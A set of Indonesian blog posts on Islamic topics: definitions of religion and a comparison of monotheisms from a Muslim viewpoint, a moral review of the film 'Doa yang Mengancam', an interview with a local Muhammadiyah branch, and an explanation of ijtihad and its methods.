Dalam masyarakat Indonesia, selain dari kata agama, dikenal pula kata din (dari bahasa Arab) dan kata religi dari bahasa Eropa. Agama berasal dari kata Sanskrit. Satu pendapat mengatakan bahwa kata itu tersusun dari dua kata, a = tidak dan gam = pergi, jadi tidak pergi, tetap di tempat, diwarisi turun-temurun. Ada lagi pendapat yg mengatakan bahwa agama berarti teks atau kitab suci. Din dalam bahasa Sepit berarti undang-undang atau hukum. Dalam bahasa Arab, kata ini mengandung arti menguasai, menundukkan, patuh, hutang, balasan, kebiasaan. Agama memang membawa peraturan-peraturan yg merupakan hukum, yg harus dipatuhi orang. Religi berasal dari bahasa Latin. Menurut satu pendapat asalnya ialah relegere yg mengandung arti mengumpulkan, membaca. Tetapi menurut pendapat lain kata itu berasal dari religare yg berarti mengikat. Ajaran-ajaran agama memang mempunyai sifat mengikat bagi manusia.

Definisi-definsi agama:

1.
Pengakuan terhadap adanya hubungan manusia dengan kekuatan gaib yg harus dipatuhi.
2.
Pengakuan terhadap adanya kekuatan gaib yg menguasai manusia.
3.
Mengikatkan diri pada suatu bentuk hidup yg mengandung pengakuan pada suatu sumber yang berada di luar diri manusia dan yg mempengaruhi perbuatan-perbuatan manusia.
4.
Kepercayaan pada suatu kekuatan gaib yg menimbulkan cara hidup tertentu.
5.
Suatu sistem tingkah laku (code of conduct) yg berasal dari suatu kekuatan gaib.
6.
Pengakuan terhadap adanya kewajiban-kewajiban yg diyakini bersumber pada suatu kekuatan gaib.
7.
Pemujaan terhadap kekuatan gaib yg timbul dari perasaan lemah dan perasaan takut terhadap kekuatan misterius yg terdapat dalam alam sekitar manusia.
8.
Ajaran-ajaran yg diwahyukan Tuhan kepada manusia melalui seorang rasul.

Unsur-unsur penting yg terdapat dalam agama ialah :

1.
Kekuatan gaib : Manusia merasa dirinya lemah dan berhajat pada kekuatan gaib itu sebagai tempat minta tolong. Oleh karena itu manusia merasa harus mengadakan hubungan baik dengan kekuatan gaib tersebut. Hubungan baik ini dapat diwujudkan dengan mematuhi perintah dan larangan kekuatan gaib ini.
2.
Keyakinan manusia bahwa kesejahteraannya di dunia ini dan hidupnya di akhirat tergantung pada adanya hubungan baik dengan kekuatan gaib yg dimaksud. Dengan hilangnya hubungan baik itu, kesejahteraan dan kebahagiaan yg dicari akan hilang pula.
3.
Respons yg bersifat emosionil dari manusia. Respons itu bisa mengambil bentuk perasaan takut, seperti yg terdapat dalam agama-agama primitif, atau perasaan cinta, seperti yg terdapat dalam agama-agama monoteisme. Selanjutnya respons mengambil bentuk penyembahan yg terdapat dalam agama-agama primitif, atau pemujaan yg terdapat dalam agama-agama monoteisme. Lebih lanjut lagi respons itu mengambil bentuk cara hidup tertentu bagi masyarakat yg bersangkutan.
4.
Paham adanya yg kudus (sacred) dan suci, dalam bentuk kekuatan gaib, dalam bentuk kitab yg mengandung ajaran-ajaran agama bersangkutan dan dalam bentuk tempat-tempat tertentu. Agama ada yg bersifat pimitif dan ada pula yg dianut oleh masyarakat yg telah meninggalkan fase keprimitifan. Agama-agam yg terdapat dalam masyarakat ialah dinamisme, animisme dan politeisme.

Dengan kata lain agama monoteisme atau agama tauhid dengan ajaran-ajarannya bermaksud untuk membina manusia yg berjiwa bersih dan berbudi pekerti luhur: Di sinilah terletak salah satu penting dari agama monoteisme bagi hidup kemasyarakatan manusia. Dari individuindividu yg berjiwa bersih dan berbudi pekerti luhurlah masyarakat manusia baik dapat dibina. Agama-agama yg dimasukkan ke dalam kelompok agama monoteisme, sebagai disebut dalam Ilmu Perbandingan Agama, adalah Islam, Yahudi, Kristen dengan kedua golongan Protestan Katholik yg terdapat di dalamnya, dan Hindu. Ketiga Agama tersebut pertama merupakan satu rumpun. Agama Hindu tidak masuk dalam rumpun ini.


Di antara ketiga agama serumpun ini yg pertama datang ialah agama Yahudi dengan Nabi-nabi Ibrahim, Ismail, lshaq, Yusuf dan lain-lain; kemudian agama Kristen dengan Nabi Isa, yg datang untuk mengadakan reformasi dalam agama Yahudi. Dan terakhir sekali datang agama Islam dengan Nabi Muhammad s.a.w. Ajaran yg beliau bawa ialah ajaran yg diberikan kepada Nabinabi Ibrahim, Musa, Isa dan lain-lain dalam bentuk murninya. Sebagai diterangkan oleh Al-Qur-an, ajaran murni itu ialah Islam, menyerahkan diri seluruhnya kepada kehendak Tuhan Yg Maha Esa. Mengenai hal ini Surat Ali lmran ayat 19 mengatakan: Agama (yg benar) dalam pandangan Tuhan ialah Islam (menyerahkan diri kepada Nya). Dan mereka yg diberi Kitab bertikai hanya setelah pengetahuan datang kepada mereka; (dan mereka bertikai) karena dipengaruhi perasaan dengki.

Bahwa Nabi Ibrahim menyerahkan diri kepada Tuhan dan beragama Islam disebut Surat al- Baqarah ayat 131 : Ketika Tuhannya berkata kepadanya (Ibrahim) : "Serahkan dirimu'; ia menjawab : "Aku menyerahkan diriku kepada Tuhan semesta alam'. Surat Ali Imran ayat 67 : Bukanlah Ibrahim seorang Yahudi, bukan pula seorang Kristen, tetapi adalah seorang yg benar (dalam keyakinannya), seorang muslim. Dan bukanlah ia masuk dalam golongan kaum polities.
Ayat 84 dari Surat Ali Imran lebih lanjut mengatakan bahwa bukan hanya agama yang didatangkan kepada Nabi Ibrahim, tetapi juga agama yg didatangkan kepada Nabi-nabi lain adalah. sama dengan agama yg diturunkan kepada Nabi Muhammad : Katakanlah : “Kami percaya kepada apa yg diturunkan kepada kami, kepada apa yang diturunkan kepada Ibrahim, Ismail serta suku-suku bangsa lain dan kepada apa yang diturunkan kepada Musa, Isa serta Nabi-nabi lain dari Tuhan Mereka. Kami tidak mengadakan perbedaan antara mereka dan kami menyerahkan diri kepada Nya”.


Dari ayat-ayat di atas jelaslah kelihatan bahwa agama-agama Yahudi, Kristen dan Islam adalah satu asal. Sejarah juga mengunjukkan bahwa ketiga agama itu memang mempunyai asal yg satu. Tetapi perkembangan masing-masing dalam sejarah mengambil jurusan yg berlainan, sehingga timbullah perbedaan antara ketiga-tiganya. Pada mulanya, Yahudi, Kristen dan Islam berdasar atas keyakinan tauhid atau keesaan Tuhan yg serupa. Dalam istilah modern keyakinan ini disebut monoteisme. Tetapi dalam pada itu kemurnian tauhid dipelihara hanya oleh Islam dan Yahudi. Dalam Islam satu dari kedua syahadatnya menegaskan : "Tiada Tuhan selain dari Allah". Dan dalam agama Yahudi Syema atau syahadatnya mengatakan : "Dengarlah Israel, Tuhan kita satu". Tetapi kemurnian tauhid dalam agama Kristen dengan adanya faham Trinitas, sebagai diakui oleh ahli-ahli perbandingan agama, sudah tidak terpelihara lagi.


Agama Hindu, sungguhpun banyak dianggap termasuk dalam golongan agama politeisme, mengandung faham monotesime. Trimurti yg terdiri dari Brahma, Wisynu dan Syiwa mengandung faham tiga sifat atau aspek dari suatu zat Yg Maha Tinggi. Brahma menggambarkan sifat mencipta, Wisynu sifat memelihara dan Syiwa sifat menghancurkan; tiga sifat atau aspek yg terdapat dalam kehidupan di dunia, kejadian, kelangsungan wujud dan kehancuran. Benda-benda didunia terjadi, berwujud untuk waktu tertentu dan kemudian hancur. lni adalah perbuatan Zat Yg Maha Tinggi itu.

Dengan, demikian di antara agama besar yg ada sekarang, hanya Islamlah yang memelihara faham monoteisme yg murni. Monoteisme Kristen dengan faham Trinitasnya dan monoteisme Hindu dengan faham politeisme yg banyak terdapat di dalamnya tidak dapat dikatakan monoteisme murni.

Diposkan oleh Seorang Andre di 01:22 0 komentar Link ke posting ini
Reaksi:
Rabu, 2009 April 01
HIKMAH FILM DO'A YANG MENGANCAM

Doa yang mengancam adalah sebuah film yang menceritakan tentang fenomena kehidupan masyarakat disebuah negara yang mengaku negara berkembang, sebut saja Indonesia. Film DYM ini mengkisahkan seorang yang memiliki keadaan ekonomi kelas bawah, dapat dikatakan kelas miskin.
Tokoh Madrim (Aming) sebagai peran utama yang memiliki istri cantik bernama Lekha (Titi Kamal), sahabat baik hati bernama Kadir (Ramzi) seorang takmir musola. Pada dasarnya film ini secara garis besar menggambarkan kehidupan seorang buruh bongkar muat disebuah pasar yang berani mengancam Tuhannya karena ia kecewa akan kehidupan yang ia jalani. Ditingal istri, terlilit banyak utang sehingga tidak bisa bayar kontrakan, dan akhirnya diusir oleh yang punya kontrakan. Untung saja Madrim masih memiliki seorang sahabat, yang masih setia menjadi teman untuk berbagi.

Didalam kekecewaan Madrim akan kehidupan yang telah ia jalani setelah dapat nasehat supaya rajin ibadah dan kerja keras masih saja nasib hidupnya tidak berubah - berubah juga. Hingga sebuah peristiwa perampokan yang terjadi di komplek tempat tinggalnya sampai pelaku perampokan masuk musola hingga mengancam naywa shabatnya si Kadir. Dari peristiwa perampokan tersebut Madrim terinspirasi akan ancaman si perampok. Dalam doanya ia mengancam Tuhan dan memberi tenggang waktu tiga hari. Jika doanya tidak terkabul, ia akan berpaling murtad pada setan.


.....................penasaran ceritanya bagaimana? nonton aja DYM!.........................

Hikmah yang dapat kita ambil dari film “Doa yang Mengancam”


*
Dalam film tersebut tokoh Madrim dalam mewujudkan keinginannya untuk menemukan istrinya hanya dengan doa tanpa diikuti dengan usaha untuk mencarinya. Maksudya jika menginginkan sesuatu harus seimbang antara Yakin Usaha Sampai juga disertai dengan doa. Usaha yang dilakukan harus sesuai dengan apa yang kita harapan.
*
Dengan segala kekuasaan Allah SWT segala sesuatu yang dianggap tidak mungkin terjadi, akan sangat mungkin terjadi. Seperti apa yang terdapat pada salah satu surat dalam Al-Quran yaitu dua ayat terakhir pada surat yasin
* Doa yang dipanjatkan harus dengan tulus dan ikhlas.
* Setan adalah musuh utama manusia yang dapat menjerat manusia dengan berbagai cara.
*
Dalam flm tersebut okoh Madrim berbohong saat akan memperistri Leha akibatnya istrinya meninggalkan Madrim. Jadi segala sesuatu yang dialami dengan kebohongan akan berakhir dengan kesengsaraan.
* Dalam film tersebut tokoh Madrim meragukan Allah swt karena menganggap bahwa doanya tidak pernah dikabulkan. Sebagai manusia kita tidak boleh meragukan bahwa Allah SWT Maha Pengasih juga penyayang.



Sutradara: Hanung Bramantyo_Cerita dan Penulis Skenario: Jujur Prananto_Pemain: Aming, Titi Kamal, Ramzi, Dedi Sutomo, H Djojon, dan Nani Wijaya_Special Appearances: Cici Tegal, Berliana Febriyanti, Cahya Kamila, Zaskia A Mecca, Oka Antara, Desta Club80’s.


Kesan yang saya tangkap setelah menonton film DYM

Bagi saya film DYM cukup baik dan juga luar biasa untuk dijadikan pembelajaran dalam kehidupan nantinya setelah saya lepas dari jenjang perkuliahan dan sebagai cerminan saya nanti menjalankan hidup didalam bernegara, bermasuyarakat juga berkeluarga.

Apalagi tokoh seorang Madrim setelah hidupnya bisa dikatakan sukses, Madrim tidak lupa dengan lingkungan semasa hidupnya susah dan sengsara, dengan sahabatnya,dengan tetangganya. Saya juga salut akan tokoh Kadir yang setia Kawan, Muslim, peduli dengan saudara, walaupun dengan keadaan yang begitu sederhananya. Tapi yang saya buat kecewa tokoh Leha peran istri Madrim yang pengecut, lari dari kenyataan yang memiliki suami serba kekurangan dan tidak berani menerima kenyataan hidup.

.............terimakasih pak hanung telah menyajikan film yang cukup luar biasa bagi saya...........


Hasil Wawancara
Dengan Pimpinan Ranting Muhammadiyah (PRM)
Desa Kledung Kradenan, kecamatan Banyuurip, kabupaten Purworejo

1.
Sejarah PRM (Pimpinan Ranting Muhammadiyah) di desa Kledung Kradenan kecamatan Banyuurip, kabupaten Purworejo
Embrio PRM (Pimpinan Ranting Muhammadiyah) desa Kledung Kradenan, Banyuurip, Purworejo sudah ada sejak adanya PDM (Pimpinan Daerah Muhammadiyah) di Kabupaten Purworejo. Adapun secara resminya PRM desa Kledung Kradenan ini berdiri bersamaan dengan berdirinya PCM (Pimpinan Cabang Muhammadiyah) Banyuurip yaitu pada awal tahun 2002.
Kemudian sampai dengan tahun 2008 di Kecamatan Banyuuurip yang terdiri dari 27 desa, berdiri 5 buah ranting, yang merupakan PRM Kledung Kradenan, Kledung Karang Dalem, Wangunrejo, Banyuurip, dan Boro Kulon. Di daerah tersebut, para simpatisan atau pendukung dakwah Muhammadiyah kebanyakan dari masyarakat pendatang, sedangkan orang-orang pribumi masih sangat sedikit, karena masyarakat pribumi masih mengedepankan tradisi-tradisi lokal atau adat, yang mana tindakan-tindakan tersebut masih sangat kental kaitannya dengan pengaruh Hinduisme (Animisme dan Dinamisme) padahal hal-hal itu menjadi titik krusial yang akan ditegakkan Muhammadiyah, yang erat kaitannya dengan TBC (Takhayul, Bid’ah dan Churofat). Contoh : di daerah Kledung Kradenan tersebut telah berjalan tradisi “wayangan” setiap bulan rajab yang di masuki dengan niat-niat kemusyrikan. Masyarakat beranggapan jika tradisi tersebut tidak dijalankan, maka akan terjadi malapetaka atau suatu hal yang tidak diharapkan masyarakat seperti halnya musibah dll.
2.
Struktur Organisasi PRM di desa Kledung Kradenan
Struktur organisasi yang telah terbentuk di dalam PRM setempat masih sangat sederhana, yakni masih terdiri dari pengurus harian, seperti :
§ Ketua PRM : Bpk. Ahmat Jaenudin
§ Sekretaris : Bpk. Bambang
§ Bendahara : Bpk. Tumirin
Sementara bidang-bidang lazim di Muhammadiyah seperti PKU Muhammadiyah, tabligh itu belum ada, karena selama ini para pengurus masih dalam upaya memperkuat PRM. Selain menjabat sebagai ketua PRM, bapak Jaenudin juga sekaligus menjabat sebagai ketua PCM di daerah Kledung Kradenan sehingga lebih memfokuskan bagaimana cara menggerakkan PCM.
3.
Kekuatan dan Kelemahan dakwah Muhammadiyah
Adapun kekuatan dakwah Muhammadiyah di desa Kledung Kradenan antara lain :
a. Ditinjau dari segi personalia
Niat dari para pendakwah yang ikhlas dan semata-mata hanya mencari ridha Allah SWT.
Strata ekonomi para personalia alhamdulillah termasuk golongan menengah ke atas dan juga bermata pencaharian yang mempunyai status sosial seperti misalnya pegawai negeri, guru, pengusaha dan sebagainya. Paling tidak dengan nilai itu mereka dapat menfokuskan tujuan diri untuk dakwah yang benar-benar ikhlas lillahi ta’ala bukan untuk profesi ekonomi.
Personalia para pendakwah Muhammadiyah termasuk orang-orang yang berpendidikan tinggi sehingga korelasional dan emotional mereka lebih matang dalam kaitannya dengan tingkat adaptasi dakwah mereka.
b. Ditinjau dari segi finansial
Dengan personalia yang bergolongan ekonomi menengah ke atas tersebut dapat menjadikan simpatisan mengikhlaskan dirinya dalam berdakwah. Selain itu, mereka juga ikhlas menafkahkan sebagian harta mereka di jalan Allah SWT. Contoh konkretnya yaitu telah dibangun Panti Asuhan dan juga playgroup Aisiyah di daerah Banyuurip dan TK Aisiyah di daerah Wangunrejo. Oleh karena itu, masalah atau kendala finansial dapat atasi bersama-sama meskipun belum begitu optimal.
Adapun kelemahan dakwah Muhammadiyah di PRM daerah setempat adalah lingkungan mereka yang relatif belum kondusif (dengan adanya tokoh-tokoh non Muhammadiyah yang melakukan pergerakan tidak sekedar bersama-sama fastabiqul khoirot, tetapi juga menganggap bahwa Muhammadiyah sebagai saingan. Dengan asumsi bahwa mereka tidak ingin kehilangan pengaruh serta tidak ingin kehilangan peluang ekonomi. Secara singkat golongan non-Muhammadiyah tidak mendukung misi dakwah Muhammadiyah, bahkan mereka menganggap sebagai saingannya.
4.
Keberlanjutan dakwah Muhammadiyah di PRM Kledung Kradenan
PRM Kledung Kradenan sedang merintis sub-sub ranting. Adapun dakwah Muhammadiyah yang selama ini telah berjalan, antara lain : diadakannya pengajian setiap malam jumat kliwon dan pengajian setiap minggu pagi di masjid Khusnul Khotimah dan di Mushola pengadilan negeri Purworejo setiap bulan Ramadhan.
Di lain tempat juga sedang dirintis beberapa simpatisan atau anggota Muhammadiyah yang terdiri dari :
§ Lingkungan I : Desa Plahan (Ngaglag)
§ Lingkungan II : Desa kledung Kradenan
§ Lingkungan III : Belakang pengadilan negeri
§ Lingkungan IV : Juru Tengah
§ Lingkungan V : Daerah perbatasan Sucen

Diposkan oleh Seorang Andre di 05:50 0 komentar Link ke posting ini
Reaksi:
1. IJTIHAD
Ijtihad (Arab: اجتهاد) adalah sebuah usaha yang sungguh-sungguh, yang sebenarnya bisa dilaksanakan oleh siapa saja yang sudah berusaha mencari ilmu untuk memutuskan suatu perkara yang tidak dibahas dalam Al Quran maupun hadis dengan syarat menggunakan akal sehat dan pertimbangan matang. Namun pada perkembangan selanjutnya, diputuskan bahwa ijtihad sebaiknya hanya dilakukan para ahli agama Islam.Tujuan ijtihad adalah untuk memenuhi keperluan umat manusia akan pegangan hidup dalam beribadah kepada Allah di suatu tempat tertentu atau pada suatu waktu tertentu.
Menurut bahasa, ijtihad berarti (bahasa Arab اجتهاد) Al-jahd atau al-juhd yang berarti la-masyaqat (kesulitan dan kesusahan) dan akth-thaqat (kesanggupan dan kemampuan). Dalam al-quran disebutkan:
“..walladzi lam yajidu illa juhdahum..” (at-taubah:79)
artinya: “… Dan (mencela) orang yang tidak memperoleh (sesuatu untuk disedekahkan) selain kesanggupan”(at-taubah:79)
Kata al-jahd beserta serluruh turunan katanya menunjukkan pekerjaan yang dilakukan lebih dari biasa dan sulit untuk dilaksanakan atau disenangi. Dalam pengertian ini Nabi mengungkapkan kata-kata:

“Shallu ‘alayya wajtahiduu fiddua”

artinya:”Bacalah salawat kepadaku dan bersungguh-sungguhlah dalam dua”
Demikian dengan kata Ijtihad “pengerahan segala kemampuan untuk mengerjakan sesuatu yang sulit.” Atas dasar ini maka tidak tepat apabila kata “ijtihad” dipergunakan untuk melakukan sesuatu yang mudah/ringan. Pengertian ijtihad menurut bahasa ini ada relevansinya dengan pengertian ijtihad menurut istilah, dimana untuk melakukannya diperlukan beberapa persyaratan yang karenanya tidak mungkin pekerjaan itu (ijtihad) dilakukan sembarang orang.
Dan di sisi lain ada pengertian ijthad yang telah digunakan para sahabat Nabi. Mereka memberikan batasan bahwa ijtihad adalah “penelitian dan pemikiran untuk mendapatkan sesuatu yang terdekat pada Kitab-u ‘l-Lah dan Sunnah Rasul, baik yang terdekat itu diperoleh dari nash -yang terkenal dengan qiyas (ma’qul nash), atau yang terdekat itu diperoleh dari maksud dan tujuan umum dari hikmah syari’ah- yang terkenal dengan “mashlahat.” Dalam kaitan pengertan ijtihad menurut istilah, ada dua kelompok ahli ushul flqh (ushuliyyin) -kelompok mayoritas dan kelompok minoritas- yang mengemukakan rumusan definisi. Dalam tulisan ini hanya akan diungkapkan pengertian ijtihad menurut rumusan ushuliyyin dari kelompok mayoritas. Menurut mereka, ijtihad adalah pengerahan segenap kesanggupan dari seorang ahli fxqih atau mujtahid untuk memperoleh pengertian tingkat dhann terhadap sesuatu hukum syara’ (hukum Islam).
Dari definisi tersebut dapat ditarik beberapa kesimpulan sebagai berikut:
1) Pelaku utihad adalah seorang ahli fiqih/hukum Islam (faqih), bukan yang lain.
2) Yang ingin dicapai oleh ijtihad adalah hukum syar’i, yaitu hukum Islam yang berhubungan dengan tingkah laku dan perbuatan orang-orang dewasa, bukan hukum i’tiqadi atau hukum khuluqi,
3) Status hukum syar’i yang dihasilkan oleh ijtihad adalah dhanni.
Jadi apabila kita konsisten dengan definisi ijtihad diatas maka dapat kita tegaskan bahwa ijtihad sepanjang pengertian istilah hanyalah monopoli dunia hukum. Dalam hubungan ini komentator Jam’u ‘l-Jawami’ (Jalaluddin al-Mahally) menegaskan, “yang dimaksud ijtihad adalah bila dimutlakkan maka ijtihad itu bidang hukum fiqih/hukum furu’. (Jam’u ‘l-Jawami’, Juz II, hal. 379).
Atas dasar itu ada kekeliruan pendapat sementara pihak yang mengatakan bahwa ijtihad juga berlaku di bidang aqidah. Pendapat yang nyeleneh atau syadz ini dipelopori al-Jahidh, salah seorang tokoh mu’tazilah. Dia mengatakan bahwa ijtihad juga berlaku di bidang aqidah. Pendapat ini bukan saja menunjukkan inkonsistensi terhadap suatu disiplin ilmu (ushul fiqh), tetapi juga akan membawa konsekuensi pembenaran terhadap aqidah non Islam yang dlalal. Lantaran itulah Jumhur ‘ulama’ telah bersepakat bahwa ijtihad hanyaberlaku di bidang hukum (hukum Islam) dengan ketentuan-ketentuan tertentu.


Definisi Ijtihad
Secara literal, kata ijtihâd merupakan pecahan dari kata jâhada, yang artinya badzlu al-wus‘i (mencurahkan segenap kemampuan). (Ar-Razi, Mukhtâr ash-Shihâh, hlm.114). Ijtihad juga bermakna, “Istafrâgh al-wus‘i fî tahqîq amr min al-umûr mustalzim li al-kalafat wa al-musyaqqaq.” (mencurahkan seluruh kemampuan dalam men-tahqîq (meneliti dan mengkaji) suatu perkara yang meniscayakan adanya kesukaran dan kesulitan). (Al-Amidi, Al-Ihkâm fî Ushûl al-Ahkâm, II/309).
Di kalangan ulama ushul, ijtihad diistilahkan dengan, “istafrâgh al-wus‘î fî thalab adz-dzann bi syai’i min ahkâm asy-syar‘iyyah ‘alâ wajh min an-nafs al-‘ajzi ‘an al-mazîd fîh (mencurahkan seluruh kemampuan untuk menggali hukum-hukum syariat dari dalil-dalil dzanni hingga batas tidak ada lagi kemampuan melakukan usaha lebih dari apa yang telah dicurahkan.” (Al-Amidi, ibid., hlm. 309. Lihat juga: an-Nabhani, Asy-Syakhshiyyah al-Islâmiyyah, I/197).
Berdasarkan definisi di atas, kita bisa menyimpulkan, bahwa iijtihad adalah proses menggali hukum syariat dari dalil-dalil yang bersifat zhanni dengan mencurahkan segenap tenaga dan kemampuan hingga tidak mungkin lagi melakukan usaha lebih dari itu. Dengan kata lain, suatu aktivitas diakui sebagai ijtihad jika memenuhi tiga poin berikut ini:
Pertama, ijtihad hanya melibatkan dalil-dalil yang bersifat zhanni. Menurut al-Amidi, hukum-hukum yang sudah qath‘i (pasti) tidak digali berdasarkan proses ijtihad. Artinya, ijtihad tidak berhubungan atau melibatkan dalil-dalil yang bersifat qath‘i, tetapi hanya melibatkan dalil-dalil yang bersifat zhanni. Atas dasar itu, ijtihad tidak berlaku pada perkara-perkara akidah maupun hukum-hukum syariat yang dalilnya qath‘i; misalnya wajibnya hukum potong tangan bagi pencuri, hukum razam/cambuk bagi pezina, hukum bunuh bagi orang-orang yang murtad, dan lain sebagainya.
Kedua, ijtihad adalah proses menggali hukum syariat, bukan proses untuk menggali hal-hal yang bisa dipahami oleh akal secara langsung (ma‘qûlât) maupun perkara-perkara yang bisa diindera (al-mahsûsât). Penelitian dan uji coba di dalam laboratorium hingga menghasilkan sebuah teorema maupun hipotesis tidak disebut dengan ijtihad.
Ketiga, ijtihad harus dilakukan dengan sungguh-sungguh dengan mengerahkan puncak tenaga dan kemampuan hingga taraf tidak mungkin lagi melakukan usaha lebih dari apa yang telah dilakukan. Seseorang tidak disebut sedang berijtihad jika ia hanya mencurahkan sebagian kemampuan dan tenaganya, padahal ia masih mampu melakukan upaya lebih dari yang telah ia lakukan. (Al-Amidi, op.cit., II/309).
Ijtihad berbeda dengan tarjîh maupun baths al-masâ’il. Tarjîh adalah aktivitas untuk meneliti, mengkaji, dan menetapkan mana pendapat yang paling râjih (kuat) di antara pendapat-pendapat yang ada. Baths al-masâ’il tidak berbeda dengan tarjîh, meskipun kadang-kadang juga dilakukan pembahasan-pembahasan hukum-hukum tertentu berdasarkan kaidah-kaidah ijtihad. Akan tetapi, aktivitas semacam ini dilakukan secara berkelompok, bukan individual. Padahal, ijtihad adalah aktivitas individual, bukan aktivitas kelompok.

Fungsi Ijtihad
Meski al quran sudah diturunkan secara sempurna dan lengkap, tidak berarti semua hal dalam kehidupan manusia diatur secara detil oleh al quran maupun al hadist. selain itu ada perbedaan keadaan pada saat turunnya al quran dengan kehidupan modern. sehingga setiap saat masalah baru akan terus berkembang dan diperlukan aturan-aturan baru dalam melaksanakan ajaran islam dalam kehidupan beragama sehari-hari.
Jika terjadi persoalan baru bagi kalangan umat islam di suatu tempat tertentu atau di suatu masa waktu tertentu maka persoalan tersebut dikaji apakah perkara yang dipersoalkan itu sudah ada dan jelas ketentuannya dalam al quran atau al hadist. Sekiranya sudah ada maka persoalan tersebut harus mengikuti ketentuan yang ada sebagaimana disebutkan dalam al quran atau al hadits itu. Namun jika persoalan tersebut merupakan perkara yang tidak jelas atau tidak ada ketentuannya dalam al quran dan al hadist, pada saat itulah maka umat islam memerlukan ketetapan ijtihad. Tapi yang berhak membuat ijtihad adalah mereka yang mengerti dan paham al quran dan al hadist.
Kedudukan Ijtihad
Berbeda dengan al-Qur'an dan as-Sunnah, ijtihad terikat dengan ketentuan-ketentuan sebagi berikut :
§ Pada dasarnya yang ditetapkan oleh ijtihad tidak dapat melahirkan keputusan yang mutlak absolut. Sebab ijtihad merupakan aktifitas akal pikiran manusia yang relatif. Sebagai produk pikiran manusia yang relatif maka keputusan daripada suatu ijtihad pun adalah relatif.
§ Sesuatu keputusan yang ditetapkan oleh ijtihad, mungkin berlaku bagi seseorang tapi tidak berlaku bagi orang lain. Berlaku untuk satu masa / tempat tapi tidak berlaku pada masa / tempat yang lain.
§ Ijtihad tidak berlaku dalam urusan penambahan � ibadah mahdhah. Sebab urusan ibadah mahdhah hanya diatur oleh Allah dan Rasulullah.
§ Keputusan ijtihad tidak boleh bertentangan dengan al-Qur'an dan as-Sunnah.
§ Dalam proses berijtihad hendaknya dipertimbangkan faktor-faktor motifasi, akibat, kemaslahatan umum, kemanfaatan bersama dan nilai-nilai yang menjadi ciri dan jiwa daripada ajaran Islam.
Cara ber-Ijtihad
Dalam melaksanakan ijtihad, para ulama telah membuat methode-methode antara lain sebagai berikut :
1. Qiyas = reasoning by analogy
Yaitu menetapkan sesuatu hukum terhadap sesuatu hal yang belum diterangkan oleh al-Qur'an dan as-Sunnah, dengan dianalogikan kepada hukum sesuatu yang sudah diterangkan hukumnya oleh al-Qur'an / as-Sunnah, karena ada sebab yang sama. Contoh : Menurut al-Qur'an surat al-Jum'ah 9; seseorang dilarang jual beli pada saat mendengar adzan Jum'at. Bagaimana hukumnya perbuatan-perbuatan lain ( selain jual beli ) yang dilakukan pada saat mendengar adzan Jum'at ? Dalam al-Qur'an maupun al-Hadits tidak dijelaskan. Maka hendaknya kita berijtihad dengan jalan analogi. Yaitu : kalau jual beli karena dapat mengganggu shalat Jum'at dilarang, maka demikian pula halnya perbuatan-perbuatan lain, yang dapat mengganggu shalat Jum'at, juga dilarang. Contoh lain : Menurut surat al-Isra' 23; seseorang tidak boleh berkata uf ( cis ) kepada orang tua. Maka hukum memukul, menyakiti dan lain-lain terhadap orang tua juga dilarang, atas dasar analogi terhadap hukum cis tadi. Karena sama-sama menyakiti orang tua. Pada zaman Rasulullah saw pernah diberikan contoh dalam menentukan hukum dengan dasar Qiyas tersebut. Yaitu ketika � Umar bin Khathabb berkata kepada Rasulullah saw : Hari ini saya telah melakukan suatu pelanggaran, saya telah mencium istri, padahal saya sedang dalam keadaan berpuasa. Tanya Rasul : Bagaimana kalau kamu berkumur pada waktu sedang berpuasa ? Jawab �Umar : tidak apa-apa. Sabda Rasul : Kalau begitu teruskanlah puasamu.
2. Ijma' = konsensus = ijtihad kolektif.
Yaitu persepakatan ulama-ulama Islam dalam menentukan sesuatu masalah ijtihadiyah. Ketika �Ali bin Abi Thalib mengemukakan kepada Rasulullah tentang kemungkinan adanya sesuatu masalah yang tidak dibicarakan oleh al-Qur'an dan as-Sunnah, maka Rasulullah mengatakan : " Kumpulkan orang-orang yang berilmu kemudian jadikan persoalan itu sebagai bahan musyawarah ". Yang menjadi persoalan untuk saat sekarang ini adalah tentang kemungkinan dapat dicapai atau tidaknya ijma tersebut, karena ummat Islam sudah begitu besar dan berada diseluruh pelosok bumi termasuk para ulamanya.
3. Istihsan = preference
Yaitu menetapkan sesuatu hukum terhadap sesuatu persoalan ijtihadiyah atas dasar prinsip-prinsip umum ajaran Islam seperti keadilan, kasih sayang dan lain-lain. Oleh para ulama istihsan disebut sebagai Qiyas Khofi ( analogi samar-samar ) atau disebut sebagai pengalihan hukum yang diperoleh dengan Qiyas kepada hukum lain atas pertimbangan kemaslahatan umum. Apabila kita dihadapkan dengan keharusan memilih salah satu diantara dua persoalan yang sama-sama jelek maka kita harus mengambil yang lebih ringan kejelekannya. Dasar istihsan antara lain surat az-Sumar 18.

4. Mashalihul Mursalah = utility
yaitu menetapkan hukum terhadap sesuatu persoalan ijtihadiyah atas pertimbangan kegunaan dan kemanfaatan yang sesuai dengan tujuan syari'at. Perbedaan antara istihsan dan mashalihul mursalah ialah : istihsan mempertimbangkan dasar kemaslahan ( kebaikan ) itu dengan disertai dalil al-Qur'an / al-Hadits yang umum, sedang mashalihul mursalah mempertimbangkan dasar kepentingan dan kegunaan dengan tanpa adanya dalil yang secara tertulis exsplisit dalam al-Qur'an / al-Hadits.

Sebagaimana istilah jihad, istilah ijtihad sering mengalami reduksi, bahkan manipulasi. Dengan kata lain, makna hakiki ijtihad sering menjadi sangat bias dan menyimpang jauh. Akibatnya, di antara kaum Muslim, ketika melontarkan suatu pendapat, banyak yang dengan enteng mengklaim bahwa itu adalah ‘ijtihad’-nya; padahal dia jauh dari karakteristik sebagai mujtahid. Ini tidak lain karena ada semacam kebiasaan buruk di tengah-tengah kita, yakni sering memaknai suatu istilah khas Islam hanya dilihat dari sisi bahasanya semata, bukan dari pemahaman syar‘i-nya. Oleh karena itu, Telaah Kitab kali ini bermaksud meluruskan kembali makna ijtihad, dengan merujuk pada penjelasan yang ada dalam kitab, Asy-Syakhshiyyah al-Islâmiyyah, I/197, karya Syaikh Taqiyuddin an-Nabhani, di samping yang terdapat dalam beberapa kitab yang lain. Selamat membaca!
Lingkup Ijtihad
Sebagaimana definisi ijtihad di atas, lingkup ijtihad hanya terbatas pada penggalian hukum syariat dari dalil-dalil dzanni. Ijtihad tidak boleh memasuki wilayah yang sudah pasti (qath‘i), maupun masalah-masalah yang bisa diindera dan dipahami secara langsung oleh akal.
